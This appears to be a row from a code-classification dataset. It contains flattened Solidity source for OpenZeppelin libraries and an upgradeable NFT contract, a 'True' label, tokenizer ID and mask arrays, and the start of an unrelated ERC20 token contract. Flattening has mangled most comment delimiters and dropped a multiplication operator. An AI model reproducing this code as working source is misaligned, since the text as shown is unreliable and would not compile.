value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts-upgradeable/proxy/beacon/[email protected] pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. / interface IBeaconUpgradeable { /* * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. / function implementation() external view returns (address); } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ / library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /* * @dev Returns an `AddressSlot` with member `value` located at `slot`. / function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `BooleanSlot` with member `value` located at `slot`. / function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. / function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /* * @dev Returns an `Uint256Slot` with member `value` located at `slot`. / function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File @openzeppelin/contracts-upgradeable/proxy/ERC1967/[email protected] pragma solidity ^0.8.2; /* * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall / abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /* * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. / bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /* * @dev Emitted when the implementation is upgraded. / event Upgraded(address indexed implementation); /* * @dev Returns the current implementation address. / function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /* * @dev Stores a new address in the EIP1967 implementation slot. / function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /* * @dev Perform implementation upgrade * * Emits an {Upgraded} event. / function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /* * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. / function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 \|\| forceCall) { _functionDelegateCall(newImplementation, data); } } /* * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. / function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 \|\| forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature( "upgradeTo(address)", oldImplementation ) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _setImplementation(newImplementation); emit Upgraded(newImplementation); } } /* * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. / function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 \|\| forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /* * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. / bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /* * @dev Emitted when the admin account has changed. / event AdminChanged(address previousAdmin, address newAdmin); /* * @dev Returns the current admin. / function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /* * @dev Stores a new address in the EIP1967 admin slot. / function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /* * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. / function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /* * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. / bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /* * @dev Emitted when the beacon is upgraded. / event BeaconUpgraded(address indexed beacon); /* * @dev Returns the current beacon. / function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /* * @dev Stores a new beacon in the EIP1967 beacon slot. / function _setBeacon(address newBeacon) private { require( AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } / * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Base contract for building openzeppelin-upgrades compatible implementations for the {ERC1967Proxy}. It includes * publicly available upgrade functions that are called by the plugin and by the secure upgrade mechanism to verify * continuation of the upgradability. * * The {_authorizeUpgrade} function MUST be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ / abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/access/[email protected] pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File contracts/AddressUtil.sol / Similar to @openzeppelin/contracts/utils/Address.sol * but we can't use that because Address.sol contains * "delegatecall" and hardhat completely denies "delegatecall" * in logic contract and throws error. Added by Oleg / pragma solidity ^0.8.4; library AddressUtil { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File contracts/interface/IAlchemyRemix.sol / Mintable interface contract for providing interface to Remix Token for Retort contract of NFTs / / AlphaWallet 2021 / pragma solidity ^0.8.4; //Represents exactly which token stored in the Retort the Remix token corresponds to struct RemixCommit { uint256 commitmentId; uint256 commitmentIndex; } interface IAlchemyRemix is IERC721Upgradeable { function mintUsingSequentialTokenId(address to, RemixCommit memory commitmentEntry) external returns (uint256 tokenId); } // File contracts/interface/IAlchemyRetort.sol / Retort contract for handling offer commitment and 'transmogrification' of NFTs / / AlphaWallet 2021 / pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; interface IAlchemyRetort { function deliver (uint256 commitmentId, bytes memory nftAttestation) external returns (uint256 committedAmount, address payable subjectAddress); function pay (uint256 commitmentId, uint256 amount, address payable beneficiary) external; function unwrapToken (RemixCommit memory commitmentEntry, address remixOwner) external; } // File contracts/AlchemyRemix.sol pragma solidity ^0.8.0; contract AlchemyRemixData { address payable _contractOwner; address public _alchemyRetort; address public _verifyAttestation; string constant JSON_FILE = ".json"; string constant _alchemyURI = "https://alchemynft.io/"; uint256 public _tokenIdIndex; // Mapping from token ID to commitmentId mapping (uint256 => RemixCommit) public _tokenCommitmentIds; } // Context removed, because OwnableUpgradeable contains ContextUpgradeable contract AlchemyRemix is ERC721Upgradeable, IAlchemyRemix, UUPSUpgradeable, OwnableUpgradeable, AlchemyRemixData { // replaced Address lib with custom MyAddress to avoid delegateCall (its not allowed for Proxied contract) using AddressUtil for address; using Strings for uint256; // Token data string constant _name = "Alchemy Remix Token"; string constant _symbol = "AMX"; // its enough to test bu modifier onlyOwner, other checks, like isContract() , is contain upgradeTo() method implemented by UUPSUpgradeable function _authorizeUpgrade(address) internal override onlyOwner {} // this function name required, Hardhat use it to call initialize() on proxy deploy step function initialize(address alchemyRetort, address verifyAttestation) public initializer { //require(alchemyRetort.isContract(),"Retort address must be a contract"); // <--- removed because at pre-init this isn't built yet require(verifyAttestation.isContract(),"VerifyAttestation address must be a contract"); __Ownable_init(); _alchemyRetort = alchemyRetort; //set once, never changes _verifyAttestation = verifyAttestation; //can be updated _tokenIdIndex = 1; //set once, can never be set again (contract updates this value) } function reconfigure(address verifyAttestation) public onlyOwner { require(verifyAttestation.isContract(),"VerifyAttestation address must be a contract"); _verifyAttestation = verifyAttestation; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(_alchemyURI, block.chainid.toString(), "/", contractAddress(), "/", tokenId.toString(), JSON_FILE)); } function contractURI() public pure returns (string memory) { return "https://alchemynft.io/contracts/amx.json"; } function mintUsingSequentialTokenId(address to, RemixCommit memory commitmentEntry) public override returns (uint256 tokenId) { require(_alchemyRetort == msg.sender, "Minting not permitted"); //uncomment to restrict minting tokenId = _tokenIdIndex; _mint(to, tokenId); _tokenCommitmentIds[tokenId] = commitmentEntry; _tokenIdIndex++; } function burn(uint256 tokenId) public { require(_exists(tokenId), "ERC721: Burn query for nonexistent token"); require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: Burn caller is not owner nor approved"); IAlchemyRetort alchemyRetort = IAlchemyRetort(_alchemyRetort); alchemyRetort.unwrapToken(_tokenCommitmentIds[tokenId], ownerOf(tokenId)); _burn(tokenId); delete _tokenCommitmentIds[tokenId]; } function getCommitmentId(uint256 tokenId) public view returns (uint256 commitmentId) { return _tokenCommitmentIds[tokenId].commitmentId; } function getCommitmentIndex(uint256 tokenId) public view returns (uint256 commitmentId) { return _tokenCommitmentIds[tokenId].commitmentIndex; } function contractAddress() internal view returns (string memory) { return Strings.toHexString(uint160(address(this)), 20); } }	True	[ 101, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1017, 1012, 1014, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 21183, 12146, 1013, 17174, 13102, 18491, 1013, 29464, 11890, 16048, 2629, 6279, 24170, 3085, 1012, 14017, 1030, 1058, 2549, 1012, 1015, 1012, 1014, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 11998, 2011, 2500, 1006, 1063, 9413, 2278, 16048, 2629, 5403, 9102, 1065, 1007, 1012, 1008, 1008, 2005, 2019, 7375, 1010, 2156, 1063, 9413, 2278, 16048, 2629, 1065, 1012, 1008, 1013, 8278, 29464, 11890, 16048, 2629, 6279, 24170, 3085, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 2023, 3206, 22164, 1996, 8278, 4225, 2011, 1008, 1036, 8278, 3593, 1036, 1012, 2156, 1996, 7978, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1001, 2129, 1011, 19706, 1011, 2024, 1011, 4453, 1031, 1041, 11514, 2930, 1033, 1008, 2000, 4553, 2062, 2055, 2129, 2122, 8909, 2015, 2024, 2580, 1012, 1008, 1008, 2023, 3853, 2655, 2442, 2224, 2625, 2084, 2382, 2199, 3806, 1012, 1008, 1013, 3853, 6753, 18447, 2121, 12172, 1006, 27507, 2549, 8278, 3593, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 29464, 11890, 2581, 17465, 6279, 24170, 3085, 1012, 14017, 1030, 1058, 2549, 1012, 1015, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3223, 8278, 1997, 2019, 9413, 2278, 2581, 17465, 24577, 3206, 1012, 1008, 1013, 8278, 29464, 11890, 2581, 17465, 6279, 24170, 3085, 2003, 29464, 11890, 16048, 2629, 6279, 24170, 3085, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 22627, 2043, 1036, 19204, 3593, 1036, 19204, 2003, 4015, 2013, 1036, 2013, 1036, 2000, 1036, 2000, 1036, 1012, 1008, 1013, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 25331, 19204, 3593, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 22627, 2043, 1036, 3954, 1036, 12939, 1036, 4844, 1036, 2000, 6133, 1996, 1036, 19204, 3593, 1036, 19204, 1012, 1008, 1013, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 4844, 1010, 21318, 3372, 17788, 2575, 25331, 19204, 3593, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 22627, 2043, 1036, 3954, 1036, 12939, 2030, 4487, 19150, 2015, 1006, 1036, 4844, 1036, 1007, 1036, 6872, 1036, 2000, 6133, 2035, 1997, 2049, 7045, 1012, 1008, 1013, 2724, 6226, 29278, 8095, 1006, 4769, 25331, 3954, 1010, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]

pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Contract generated by TOKENTRADE // https://tokentrade.co // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // https://theethereum.wiki/w/index.php/ERC20_Token_Standard // (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract ContractCowToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "COW"; name = "Cow token"; decimals = 18; _totalSupply = 1000.0 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() 